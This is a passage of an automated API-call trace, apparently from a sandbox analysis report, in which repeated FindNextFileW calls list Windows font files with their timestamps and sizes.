nFileSizeLow=0x13a04, dwReserved0=0x0, dwReserved1=0x0, cFileName="COOPBL.TTF", cAlternateFileName="")) returned 1 [0284.315] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf070, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPRGTB.TTF", cAlternateFileName="")) returned 1 [0284.315] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPRGTL.TTF", cAlternateFileName="")) returned 1 [0284.315] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURLZ___.TTF", cAlternateFileName="")) returned 1 [0284.315] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc9c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEPHNT.TTF", cAlternateFileName="")) returned 1 [0284.315] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd434, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEPHNTI.TTF", cAlternateFileName="")) returned 1 [0284.315] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc268, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGR.TTF", cAlternateFileName="")) returned 1 [0284.315] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e09b78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe0a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERASBD.TTF", cAlternateFileName="")) returned 1 [0284.316] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87282225, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xea5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERASDEMI.TTF", cAlternateFileName="")) returned 1 [0284.316] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x895d1c90, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERASLGHT.TTF", cAlternateFileName="")) returned 1 [0284.316] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xed64, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERASMD.TTF", cAlternateFileName="")) returned 1 [0284.316] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8909a9cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FELIXTI.TTF", cAlternateFileName="")) returned 1 [0284.316] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x879f59bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x879f59bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf150, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORTE.TTF", cAlternateFileName="")) returned 1 [0284.316] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x879f59bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x879f59bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2547c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRABK.TTF", cAlternateFileName="")) returned 1 [0284.316] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x885bb26a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x885bb26a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x894a08cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29694, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRABKIT.TTF", cAlternateFileName="")) returned 1 [0284.316] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x885bb26a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x885bb26a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22e54, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRADM.TTF", cAlternateFileName="")) returned 1 [0284.317] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x885bb26a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x885bb26a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c8cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRADMCN.TTF", cAlternateFileName="")) returned 1 [0284.317] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x885bb26a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x885bb26a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRADMIT.TTF", cAlternateFileName="")) returned 1 [0284.317] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x885bb26a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x885bb26a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22088, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAHV.TTF", cAlternateFileName="")) returned 1 [0284.317] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88c7c1e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88c7c1e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8966a531, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2547c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAHVIT.TTF", cAlternateFileName="")) returned 1 [0284.317] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8910d01a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8910d01a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8966a531, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAMDCN.TTF", cAlternateFileName="")) returned 1 [0284.317] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8913323b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x896442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x110f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREESCPT.TTF", cAlternateFileName="")) returned 1 [0284.317] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8913323b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x895d1c90, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRSCRIPT.TTF", cAlternateFileName="")) returned 1 [0284.318] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8913323b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x895f7d89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1467c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FTLTLT.TTF", cAlternateFileName="")) returned 1 [0284.318] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8913323b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x896442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b88e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GABRIOLA.TTF", cAlternateFileName="")) returned 1 [0284.318] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86e2fdc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86e2fdc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86ff9a7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x337e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GADUGI.TTF", cAlternateFileName="")) returned 1 [0284.318] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8913323b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x896442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3328c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GADUGIB.TTF", cAlternateFileName="")) returned 1 [0284.318] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8913323b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8966a531, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x305b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GARA.TTF", cAlternateFileName="")) returned 1 [0284.318] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8910d01a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8910d01a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8966a531, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x30c5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GARABD.TTF", cAlternateFileName="")) returned 1 [0284.318] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86e2fdc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86e2fdc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86ff9a7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e418, dwReserved0=0x0, dwReserved1=0x0, cFileName="GARAIT.TTF", cAlternateFileName="")) returned 1 [0284.318] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8913323b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8966a531, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22af8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIGI.TTF", cAlternateFileName="")) returned 1 [0284.318] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x879f59bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x879f59bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8829a0da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11748, dwReserved0=0x0, dwReserved1=0x0, cFileName="GILBI___.TTF", cAlternateFileName="")) returned 1 [0284.319] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x879f59bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x879f59bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87b4cd70, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GILB____.TTF", cAlternateFileName="")) returned 1 [0284.319] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a8e187, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a8e187, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8829a0da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GILC____.TTF", cAlternateFileName="")) returned 1 [0284.319] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ab4411, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ab4411, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8829a0da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10f3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GILI____.TTF", cAlternateFileName="")) returned 1 [0284.319] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GILLUBCD.TTF", cAlternateFileName="")) returned 1 [0284.319] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8909a9cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GILSANUB.TTF", cAlternateFileName="")) returned 1 [0284.319] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10758, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIL_____.TTF", cAlternateFileName="")) returned 1 [0284.319] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x894a08cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11be4, dwReserved0=0x0, dwReserved1=0x0, cFileName="GLECB.TTF", cAlternateFileName="")) returned 1 [0284.319] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86e2fdc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86e2fdc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14abc, dwReserved0=0x0, dwReserved1=0x0, cFileName="GLSNECB.TTF", cAlternateFileName="")) returned 1 [0284.320] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8947a735, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x21960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GOTHIC.TTF", cAlternateFileName="")) returned 1 [0284.320] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a762bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GOTHICB.TTF", cAlternateFileName="")) returned 1 [0284.320] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e09b78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x21f4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GOTHICBI.TTF", cAlternateFileName="")) returned 1 [0284.320] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e09b78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x24428, dwReserved0=0x0, dwReserved1=0x0, cFileName="GOTHICI.TTF", cAlternateFileName="")) returned 1 [0284.320] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e09b78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GOUDOS.TTF", cAlternateFileName="")) returned 1 [0284.320] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e09b78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1436c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GOUDOSB.TTF", cAlternateFileName="")) returned 1 [0284.320] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x885bb26a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x885bb26a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89395811, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13998, dwReserved0=0x0, dwReserved1=0x0, cFileName="GOUDOSI.TTF", cAlternateFileName="")) returned 1 [0284.321] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88c72585, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88c72585, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89690720, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xda94, dwReserved0=0x0, dwReserved1=0x0, 